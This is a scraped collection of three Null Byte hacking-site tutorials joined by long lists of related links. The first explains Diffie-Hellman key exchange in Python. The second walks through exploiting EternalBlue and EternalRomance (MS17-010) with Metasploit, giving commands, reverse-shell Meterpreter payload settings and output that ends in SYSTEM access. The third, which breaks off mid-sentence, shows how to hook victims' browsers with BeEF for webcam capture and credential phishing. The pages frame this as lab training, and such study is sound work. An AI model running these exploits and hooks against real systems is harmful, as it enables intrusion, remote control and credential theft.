Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableRaspberry Pi:Hacking PlatformHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How To:Hijack a fast food drive-thru with a CB radioNews:This Adorable DIY 'Magpi Radio" Twitter Bird Reads Your Tweets Out Loud for YouNews:This Guy Built an Impressive Smart Mirror Controlled by Gestures & VoiceHow To:Hack a transistor radio to hear Air Traffic ControlHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Hack a Radio to Pick Up Different Frequencies - Including Law Enforcement & MoreNews:Block Cell Phone Signals on the Carrier of Your Choice by Hacking a Radio Frequency JammerNews:Samsung's 2018 Phones Will Have Working FM Tuners in the USHow To:Tune in to Your Favorite Radio Station by Just Asking SiriNews:Sound Terminology
How to Generate Private Encryption Keys with the Diffie-Hellman Key Exchange « Null Byte :: WonderHowTo
When we are building programs that communicate over a network, how can we keep our data private? The last thing we want is some other lousy hacker sniffing our packets, so how do we stop them? The easy answer: encryption. However, this is a very wide-ranging answer. Today we're going to look specifically at how to encrypt data in Python with dynamically generated encryption keys using what is known as the Diffie-Hellman key exchange.The ProblemEncrypting data is a fairly straightforward process. You simply generate a key, run an encryption algorithm against some information using that key, and send it to whoever it is intended for. The only requirement is that both parties must have the encryption key. Typically, the encryption key will be predefined in some way. It might be hard-coded into a program or delivered physically to the intended recipient. The problem is, these methods of encryption key sharing are hardly secure. Digging through a program disassembler or even digging through someone's trash can be used to retrieve these keys, thus making the encryption process worthless.What if we could dynamically generate a key? What if there was some way that both a client and a server could agree upon an encryption key without ever having to tell each other the actual key? Enter the Diffie-Hellman key exchange.Diffie-Hellman ExplainedAccording toDr. Bill Young, alecturer and researcher in computer sciencefrom the University of Texas at Austin, "The Diffie-Hellman key agreement protocol (1976) was the first practical method for establishing a shared secret over an unsecured communication channel." Sounds perfect. It also sounds impossible. Let's dive in and discover exactly how the Diffie-Hellman key exchange works.TheWikipedia pagefor the D-H key exchange has a great graphic that explains the process simply:A simple explanation of the Diffie-Hellman key exchange.Image by Lorddota/Wikimedia CommonsAs seen in the picture above, Alice and Bob both start with the same common paint. Later on, we'll recognize this as a set of variables in a Python program. For now, it's just paint. Alice and Bob each pick another unique "secret" color of paint that only they know and add it to the common paint, forming a new "public" mixture of color.Alice and Bob then exchange their paint mixtures, keeping their secret color secret. Each adds their own secret colors to the mixture they just received from the other, ending up with the same "secret" color of paint on both sides.Bingo! A common secret that only Alice and Bob know. How does this work mathematically though? The above concept is essentially an illustration of this formula:(g^a)^b = (g^b)^aWhen dealing with exponents raised to another exponent, it doesn't matter which order you calculate the final result in. This is part of the magic of the Diffie-Hellman method.Don't Miss:How to Encrypt an Decrypt Text in PythonThe other part is that handy-dandy little tool we call the modulus. When doing modulus division, the result is the remainder after dividing the first number by the second number. For example, 25 modulus 3 is 1, because after you divide 25 by 3, there is a remainder of 1.The reason the modulus is important is because while it is easy to calculate the modulus of two numbers, it is hard to use the result to find which two numbers were used to calculate it. For instance, while 25 modulus 3 is 1, so is 27 modulus 2. There's no way to simply "undo" a modulus like there is division, therefore the secrecy of the two numbers used remains in-tact.A few examples of using the modulus operator ("%") in Python.Having said all of this, the Diffie-Hellman formula we'll be using is this:(g^a mod p)^b mod p = (g^b mod p)^a mod pIn this formula, "g" represents a predefined base number. This number should be aprimitive root moduloof the prime number "p," which is also predefined. Don't let the term primitive root modulo scare you.While finding it by hand is a process, there are plenty of resources online where you can punch in a prime number and see all of the primitive roots. I've found theBlue Tulipworks very well for this. From there, just do modular division with the prime number divided by the primitive root. The result will be our primitive root modulo that we call "g,"(P % Pr = g).Don't MissCryptography Basics for the Aspiring HackerYes, that's a lot of math, but the rest is simple. While "p" is a prime number and "g" is a base, "a" and "b" are simply random integers that the client and server pick. Now that we've got our formula, let's get into some programming!Implementing the Diffie-Hellman Key Exchange into PythonInstead of trying to implement the key exchange method in a network setting, let's first write a program that will prove that the above formula works.Open up a new Python project in your favorite IDE (integrated development environment) I'll be using theGeany IDE. Name the project whatever you want. I'm naming my file "cryptonet.py" because it sounded cool to me.Now that we've got our environment up and running, let's start writing some code!Step 1: Importing the Necessary ModulesFirst, we need to import the "random" Python module. This module comes with a default installation of Python, so there's no need to install it. The random module will come in handy when it comes to picking our two values that we'll exchange between clients. On the first line of your program, type:This will import all of the functions from the random module. For this example, we could've also typed:from random import randintThis would only import the randint function instead of the entire random module. But because the program isn't going to be very resource intensive, we can just import the entire module.Step 2: Setting Up Our VariablesNow let's create a function and assign all of the variables we are going to need:As you can see above, we simply declared a function called "generate" and assigned four variables. As you might have guessed, modulus is going to be our prime modulus that we divide everything by. The "base" is going to be equivalent to the variable "g" in the above example of the formula. We picked 9 because it is the result of modulus division between 23 and one of its primitive roots (in this case, the root is 14).Don't Miss:How to Create an Encryption Program with PythonThe next two variables, "a" and "b," are going to be our two secret values that will be randomly selected. We randomly select integer values using the "randint" function provided by the random module we imported earlier. With this function, we specify a range of numbers (in this case 1 and 9999) from which the function will randomly select an integer. I selected the top limit of 9999 simply to prove that this algorithm does, in fact, work for any value of "a" and "b."Once we have all of our variables, it's time to implement the math. This really isn't that difficult since all we're doing is typing out a formula we already know.I've broken the equation down into a few parts so we can understand it more clearly. Both "side1" and "side2" represent one side of the equation. On lines 10 and 12, we are taking our base (9) and raising it to the power of "a" and "b," respectively. Notice how we used the "**" operator to do this.Using math.pow() will not work.Math.pow treats the numbers as floating point numbers instead of integers and creates inaccuracies in the equation. So just use "**" instead.After we assign "side1" and "side2" with the first part of the equation, we would exchange "side1" and "side2" with the other party. Since we are just testing the formula locally, though, we'll create two new variables, "Bob" and "Alice." On lines 14 and 16, we assign these variables with the value of "side1" and "side2" raised to the power of the secret variablethat it has not yet been raised to. This is where the properties of exponents we talked about earlier come into play. After we do that, we once again take the modulus of the result and assign it to "Bob" and "Alice," respectively.Don't Miss:Mac for Hackers: How to Create an Encrypted Disk ImageAt this point, regardless of the values of "a" and "b," our two secret key values (Bob and Alice) should be the same. To check this, we'll put a couple print calls at the end of the function:Now we add a call to the function we created at the end of the script on line 22, and we can test out the Diffie-Hellman key exchange!It works! Now, by only exchanging the values of "a" and "b" between two clients, we can generate a secret encryption key.A Few Notes About the ExampleWhile the example presented is definitelymore securethan simply hard-coding an encryption key into a program, it is notcompletely secure. This is because we used some relatively small numbers (23, 9, and the range of 1 to 9999) in order to generate our key. Because of this, someone could brute-force the encryption key fairly easily. By using much larger prime numbers, a much larger base, and increasing the range of our random variables, we could make the key space for brute forcing the encryption key much more difficult. The larger the numbers, the more difficult the key will be to brute force.Don't Miss:Cracking 64-Bit EncryptionAlso, the "secret number" that we've generated here should not be used as an encryption key itself. Instead, it should be used to help generate a much larger encryption key. That, however, would be a whole different article itself.The last thing you should know is that the random module isn't completely secure. In theory, someone could brute force the randomization seed (the data that the program uses to select a random number) and use it to predict the two integers we picked above. This really isn't too much of a security concern unless the attacker has the source code though. Otherwise, they'll have no idea what operations are being done to the random numbers. We could be multiplying, subtracting, or doing any number of things to the integer before we pass it into the D-H algorithm. If you want a more secure method of randomization, you could instead use the secrets module like this:import secretsa = secrets.randbelow(9999)b = secrets.randbelow(9999)#Note: randbelow by default starts the range at 0 and goes to the positive number specified.There are other functions you could use in the module as well, but this one is the one most comparable to the example we used above.Thanks for reading! If you have any questions, comment below or ask me on Twitter@xAllegiance. For now, give those dirty network snoopers Diffie-Hell, man!Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byMarkus Spiske/PexelsScreenshots by allegiance/Null ByteRelatedHack Like a Pro:Cryptography Basics for the Aspiring HackerHack Like a Pro:How to Install & Use a Secure IRC Client with OTRHow To:Advanced Cryptography - Total GuideAndroid Security 101:How to Secure Your Communications & MessagesHow To:The Easy Way to Use PGP for Encrypting Emails on Windows, Mac & LinuxHow To:Encrypt Your Notes, Photos & Archives with EncryptPadHack Like a Pro:How to Keep Your Internet Traffic Private from AnyoneHow To:Use Your Computer to Send & Receive WhatsApp Messages FasterHow To:Make Secure Phone Calls Without Using Your Cellular Network for Enhanced EncryptionHow To:Create a Native SSH Server on Your Windows 10 SystemHow To:Import Private Keys to Bitcoin Wallet (Windows)How To:Track Your Lost iPhone, iPad, or Mac Even When Its Offline — As Long as This Feature Is EnabledHow To:How Google's Titan M Chip Makes the Pixel 3 One of Most Secure Android PhonesHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesNews:Understanding Modern Cryptography: Public KeysUncrackable:Secure Your Secrets with 4096-Bit EncryptionHow To:Safely Log In to Your SSH Account Without a PasswordUncrackable File Sharing:Securely Transfer Your Secrets with 4096-Bit EncryptionHow To:Encrypt And Decrypt Text In PythonBest Invention Ever:Drink Chilling Whiskey StonesHow To:The Hacks Behind Cracking, Part 2: How to Generate Software KeysHow To:Code Your Own Twitter Client in Python Using OAuthNews:Italian Stock Exchange Commissions Giant 13-Foot Middle FingerHow To:Create a Simple, Hidden Console Keylogger in C# SharpHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxNews:Simple XOR Text Encryption and Decryption in Visual C#How To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginNews:Grand ExchangeHow To:Create a Bump Key to Open Any DoorNews:Key Lime Coconut CupycakesHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionNews:FarmVille World owner Katie makes it into CNET!News:Texas says No to portions of ObamacareNews:Minecraft 1.9 Pre-Release NewsHow To:The Hacks Behind Cracking, Part 1: How to Bypass Software RegistrationScrabble Challenge #20:What Would You Do with a Rack Full of Vowels?Secure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemNews:5 Keyboard Shortcuts Every Windows User Should KnowNews:Make your Keyboard LEGONews:15 Atmospheric Low Key Photos
How to Exploit EternalBlue on Windows Server with Metasploit « Null Byte :: WonderHowTo
Particular vulnerabilities and exploits come along and make headlines with their catchy names and impressive potential for damage. EternalBlue is one of those exploits. Originally tied to the NSA, this zero-day exploited a flaw in the SMB protocol, affecting many Windows machines and wreaking havoc everywhere. Here, we will use EternalBlue to exploit SMB via Metasploit.What Is EternalBlue?EternalBlue is an exploit most likely developed by theNSAas a formerzero-day. It was released in 2017 by theShadow Brokers, a hacker group known for leaking tools and exploits used by theEquation Group, which has possible ties to the Tailored Access Operations unit of the NSA.EternalBlue, also known asMS17-010, is a vulnerability in Microsoft'sServer Message Block(SMB) protocol. SMB allows systems to share access to files, printers, and other resources on the network. The vulnerability is allowed to occur because earlier versions of SMB contain a flaw that lets an attacker establish a null session connection via anonymous login. An attacker can then send malformed packets and ultimatelyexecute arbitrary commandson the target.Don't Miss:How to Discover Computers Vulnerable to EternalBlueEternalBlue was mostly responsible for theWannaCry, NotPetya, and BadRabbit ransomware outbreaks, as well as the EternalRocks worm.Option 1: Exploit EternalBlue with MetasploitWe'll be using an unpatched copy of Windows Server 2008 R2 as the target for the first section of this tutorial. An evaluation copy can be downloaded fromMicrosoftso that you can better follow along.Step 1: Find a Module to UseThe first thing we need to do is open up theterminaland startMetasploit. Typeservice postgresql startto initialize the PostgreSQL database, if it is not running already, followed bymsfconsole.service postgresql start msfconsoleNext, use thesearchcommand within Metasploit to locate a suitable module to use.search eternalblueMatching Modules ================ Name Disclosure Date Rank Check Description ---- --------------- ---- ----- ----------- auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code ExecutionThere is an auxiliary scanner that we can run to determine if a target is vulnerable toMS17-010. It's always a good idea to perform the necessaryreconlike this. Otherwise, you could end up wasting a lot of time if the target isn't even vulnerable.Once we have determined that our target is indeed vulnerable to EternalBlue, we canusethe following exploit module from the search we just did.use exploit/windows/smb/ms17_010_eternalblueYou'll know you're good if you see the "exploit(windows/smb/ms17_010_eternalblue)" prompt.Step 2: Run the ModuleWe can take a look at the current settings with theoptionscommand.optionsModule options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service PacksFirst, we need to specify the IP address of the target.set rhosts 10.10.0.101rhosts => 10.10.0.101Next, we can load the trustyreverse_tcpshell as thepayload.set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpFinally, set the listening host to the IP address of our local machine.set lhost 10.10.0.1lhost => 10.10.0.1And the listening port to a suitable number.set lport 4321lport => 4321That should be everything, so the only thing left to do is launch the exploit. Use theruncommand to fire it off.run[*] Started reverse TCP handler on 10.10.0.1:4321 [*] 10.10.0.101:445 - Connecting to target for exploitation. [+] 10.10.0.101:445 - Connection established for exploitation. [+] 10.10.0.101:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.0.101:445 - CORE raw buffer dump (51 bytes) [*] 10.10.0.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2 [*] 10.10.0.101:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard [*] 10.10.0.101:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac [*] 10.10.0.101:445 - 0x00000030 6b 20 31 k 1 [+] 10.10.0.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.0.101:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.0.101:445 - Sending all but last fragment of exploit packet [*] 10.10.0.101:445 - Starting non-paged pool grooming [+] 10.10.0.101:445 - Sending SMBv2 buffers [+] 10.10.0.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.0.101:445 - Sending final SMBv2 buffers. [*] 10.10.0.101:445 - Sending last fragment of exploit packet! [*] 10.10.0.101:445 - Receiving response from exploit packet [+] 10.10.0.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.0.101:445 - Sending egg to corrupted connection. [*] 10.10.0.101:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 10.10.0.101 [*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.101:49207) at 2019-03-26 11:01:46 -0500 [+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter >We see a few things happen here, like the SMB connection being established and the exploit packet being sent. At last, we see a "WIN" and aMeterpretersession is opened. Sometimes, this exploit will not complete successfully the first time, so if it doesn't just try again and it should go through.Step 3: Verify the Target Is CompromisedWe can verify we have compromised the target by running commands such assysinfoto obtain operating system information.sysinfoComputer : S02 OS : Windows 2008 R2 (Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : DLAB Logged On Users : 2 Meterpreter : x64/windowsAndgetuidto get the current username.getuidServer username: NT AUTHORITY\SYSTEMThis exploit doesn't work very well on newer systems, and in some cases, it can crash the target machine. Next, we will explore a similar exploit that is a little more reliable, but just as deadly.Option 2: EternalRomance / EternalSynergy / EternalChampionAs if EternalBlue wasn't devastating enough,three more similar exploitswere developed after it. EternalRomance and EternalSynergy exploit a type of confusion (CVE-2017-0143), while EternalChampion and EternalSynergy exploit a race condition (CVE-2017-0146).These were combined into a single Metasploit module that also uses the classic psexec payload. It's considered more reliable than EternalBlue, less likely to crash the target, and works on all recent unpatched versions of Windows, up to Server 2016 and Windows 10.Don't Miss:How to Discover Computers Vulnerable to EternalRomanceThe only caveat is this exploit requires a named pipe. Named pipes provide a method for running processes to communicate with one another, usually appearing as a file for other processes to attach to. The Metasploit module automatically checks for named pipes, making it pretty straightforward to use as long as a named pipe is present on the target.Step 1: Find a Vulnerable TargetWe can useNmapas an alternative to the Metasploit scanner to discover if a target is vulnerable to EternalBlue. TheNmap Scripting Engineis a powerful feature of the core tool that allows all kinds of scripts to run against a target.Here, we'll be using thesmb-vuln-ms17-010script to check for the vulnerability. Our target will be an unpatched copy of Windows Server 2016 Datacenter edition. Evaluation copies can be downloaded fromMicrosoftso you can follow along if you want.We can specify a single script to run with the--scriptoption, along with the-vflag for verbosity and our target's IP address. First, change directories in case you're still running Metasploit.cd nmap --script smb-vuln-ms17-010 -v 10.10.0.100Nmap will start running and shouldn't take too long since we are only running one script. At the bottom of the output, we'll find the results.Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-26 11:05 CDT NSE: Loaded 1 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 11:05 ... Host script results: | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx NSE: Script Post-scanning. Initiating NSE at 11:05 Completed NSE at 11:05, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds Raw packets sent: 1181 (51.948KB) | Rcvd: 1001 (40.060KB)We can see it lists the target as vulnerable, along with additional information like risk factors and links to the CVE.Step 2: Find a Module to UseNow that we know the target is vulnerable, we can go back to Metasploit and search for an appropriate exploit.msfconsole search eternalromanceMatching Modules ================ Name Disclosure Date Rank Check Description ---- --------------- ---- ----- ----------- auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code ExecutionAnd load the module in Metasploit with theusecommand.use exploit/windows/smb/ms17_010_psexecYou'll know you're good if you see the "exploit(windows/smb/ms17_010_psexec)" prompt.Step 3: Run the ModuleLet's take a look at our options:optionsModule options (exploit/windows/smb/ms17_010_psexec): Name Current Setting Required Description ---- --------------- -------- ----------- DBGTRACE false yes Show extra debug trace info LEAKATTEMPTS 99 yes How many times to try to leak transaction NAMEDPIPE no A named pipe that can be connected to (leave blank for auto) NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The Target port SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Exploit target: Id Name -- ---- 0 AutomaticIt looks like this exploit uses a list of named pipes to check and connects to a share. We can leave all this as default for now, but we need to set the remote host.set rhosts 10.10.0.100rhosts => 10.10.0.100And the reverse shell payload.set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpAnd our local host.set lhost 10.10.0.1lhost => 10.10.0.1And local port.set lport 4321lport => 4321We should be good to go now. Typerunto launch the exploit.run[*] Started reverse TCP handler on 10.10.0.1:4321 [*] 10.10.0.100:445 - Target OS: Windows Server 2016 Standard Evaluation 14393 [*] 10.10.0.100:445 - Built a write-what-where primitive... [+] 10.10.0.100:445 - Overwrite complete... SYSTEM session obtained! [*] 10.10.0.100:445 - Selecting PowerShell target [*] 10.10.0.100:445 - Executing the payload... [+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (206403 bytes) to 10.10.0.100 [*] Meterpreter session 2 opened (10.10.0.1:4321 -> 10.10.0.100:49965) at 2019-03-26 11:12:30 -0500We can see the payload successfully execute, and we end up with a Meterpreter session.Step 4: Verify the Target Is CompromisedAgain, we can verify we've compromised the system with commands likesysinfo.sysinfoComputer : DC01 OS : Windows 2016 (Build 14393). Architecture : x64 System Language : en_US Domain : DLAB Logged On Users : 4 Meterpreter : x64/windowsAndgetuid.getuidServer username: NT AUTHORITY\SYSTEMPrevention & Current StatusDespite all the damage EternalBlue has caused, there is one reliable way to prevent these types of exploits: patch your systems! At this point, nearly two years since these vulnerabilities were disclosed, there is really no excuse to have unpatched operating systems.EternalBlue continues to be a problem, though, and even though the consequences are dire, unfortunately, some organizations will still be running unpatched systems. That, combined with pirated versions of Windows, makes EternalBlue a significant threat to this day.Cryptojacking, which uses a victim's computer to secretlymine cryptocurrency, is another threat vector that uses EternalBlue to leverage attacks. WannaMine was one of these outbreaks that hijacked computers around the world in 2018.Wrapping UpToday, we learned about EternalBlue and how to exploit it using Metasploit. We also learned about an exploit similar to EB that is more reliable and works on more systems. In the next tutorial, we will dig a little deeper and learn how to exploit EternalBlue manually, which is much more satisfying in the end.Next Up:Manually Exploit EternalBlue on Windows Server Using MS17-010 Python ExploitFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byFancycrave/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Manually Exploit EternalBlue on Windows Server Using MS17-010 Python ExploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow to Hack Like a Pro:Getting Started with MetasploitHow To:Create a Metasploit Exploit in Few MinutesHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Hack Your School's Server to Download Final Exam AnswersHack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)How to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHow To:Run an VNC Server on Win7How To:Identify Missing Windows Patches for Easier ExploitationHow To:Hack Metasploitable 2 Including Privilege EscalationHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Exploring the Inner Architecture of MetasploitNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterIPsec Tools of the Trade:Don't Bring a Knife to a GunfightDrive-By Hacking:How to Root a Windows Box by Walking Past It
Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & More « Null Byte :: WonderHowTo
People use browsers for all types of things, and in general, we trust a lot of personal information to them. That's why browsers are a perfect attack surface for a hacker, because the target may not even know they are infected and feed you all of the information you could want.To do this, you need to first trick the user into clicking a link. To generate the link, you can use a tool calledBeEF, which used to be preinstalled onKali Linux.Similar toMetasploit, BeEF, which stands for Browser Exploitation Framework, is a framework for launching attacks. Unlike with Metasploit, it's specific to launching attacks against web browsers. In some cases, we could use BeEF in conjunction with Metasploit to start more advanced attack scenarios.Don't Miss:Catch an Internet Catfish with Grabify Tracking LinksThe tool was developed by a group of developers led byWade Alcorn. Built on the familiar Ruby on Rails platform, BeEF was designed to explore the vulnerabilities in browsers and test them. In particular, BeEF is an excellent platform for testing a browser's vulnerability to cross-site scripting (XSS) and other injection attacks.BeEF can generate a link that can track the target and even run modules to both escalate permissions and gather more information about the person behind the computer. It can even scan behind the network the person's on, which is pretty impressive since you can take pictures with their webcam, see what they're typing, and launch phishing pages to try and get credentials.Step 1: Install BeEFBeEF is built right into Kali Linux 2019.2 and older, so you shouldn't have to install anything if you're running one of those versions on your computer.In mid-2019, KaliremovedBeEF as a preinstalled exploitation tool, moving it from "kali-linux-default" to the "kali-linux-large" metapackage. That means that if you installed a fresh version of Kali, you would no longer have BeEF, though, you may retain it if you simply updated your older version of Kali to 2019.3 or higher.If you already have it, use the following command to update everything. And if you don't have it, the same command will install it. Just make sure to usebeef-xssand not "beef" because the latter is a programming language interpreter, which is different. (We made that mistake in our video above, so don't do the same.)~$ sudo apt install beef-xssWhether you had it preinstalled from before or had to install it, the rest is the same.Step 2: Open the BeEF ServiceOnce BeEF is installed, you can find it under Applications –> System Services, then click on "beef start." It will open a terminal window to start the service.If you don't see any beef-related tools in that folder, or if you don't see that folder at all, you may have installed "beef" and not "beef-xss" so make sure to do the latter. (You can also start BeEF from the Exploitation Tools folder where it's "beef xss framework.)> Executing “sudo beef-xss” [sudo] password for kali: [-] You are using the Default credentials [-] (Password must be different from "beef") [-] Please type a new password for the beef user: [*] Please wait for the BeEF service to start. [*] [*] You might need to refresh your browser once it opens. [*] [*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook: <script src="http://<IP>:3000/hook.js"></script> [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script> ● beef-xss.service - LSB: BeEF Loaded: loaded (/etc/init.d/beef-xss; generated) Active: active (running) since Fri 2020-05-08 12:51:38 EDT; 5s ago Docs: man:systemd-sysv-generator(8) Process: 1432 ExecStart+/etc/init.d/beef-xss start (code=excited, status=0/SUCCESS) Tasks: 10 (limit: 6715) Memory: 140.8M CGroup: /system.slice/beef-xss.service └─1438 ruby /usr/share/beef-xss/beef May 08 12:51:42 kali beef[1]: Starting LSB: BeEF... May 08 12:51:42 kali beef[1]: Started LSB: BeEF. [*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...If you run into errors where your browser fails to load, you can bypass the issue by opening up your preferred web browser, like Firefox or Chrome, and going to the following URL, which is for the localhost (127.0.0.1) web server at port 3000.http://127.0.0.1:3000/ui/panelStep 3: Log in to the BeEF ServiceOnce the browser interface opens, you'll need to log in to the BeEF service. The default credentials arebeeffor the username andbeeffor the password. However, you may have been prompted to create a password for your beef session (as seen above), and in that case, you would usebeefas the username and whatever password you chose.After logging in successfully, you should see the "Getting Started" page with information about how BeEF works. On the left, there's theHooked Browserscolumn, which is where all the browsers you control will end up.Step 4: Hook the Target BrowserThe key to success with BeEF is to "hook" a browser. This basically means that we need the target to visit a vulnerable web app with the "hook.js" JavaScript file. To practice, BeEF provides a webpage for your localhost with the payload in it, so visit that to see how it works.http://127.0.0.1:3000/demos/basic.htmlThe injected code in the hooked browser responds to commands from the BeEF server that we control. From there, we can do many mischievous things on the target's computer.Step 5: View the Browser DetailsI've got a few hooked browsers, but I'm going to look at the Chrome one. Click on your hooked browser, and it will jump you to the "Details" tab, which provides information about the hooked browser. Mine shows up as Chrome in the values.This tab will show you a lot more than that. For me, I see that the platform is Linux x86_64; that it has the Chrome PDF Plugin, Chrome PDF Viewer, 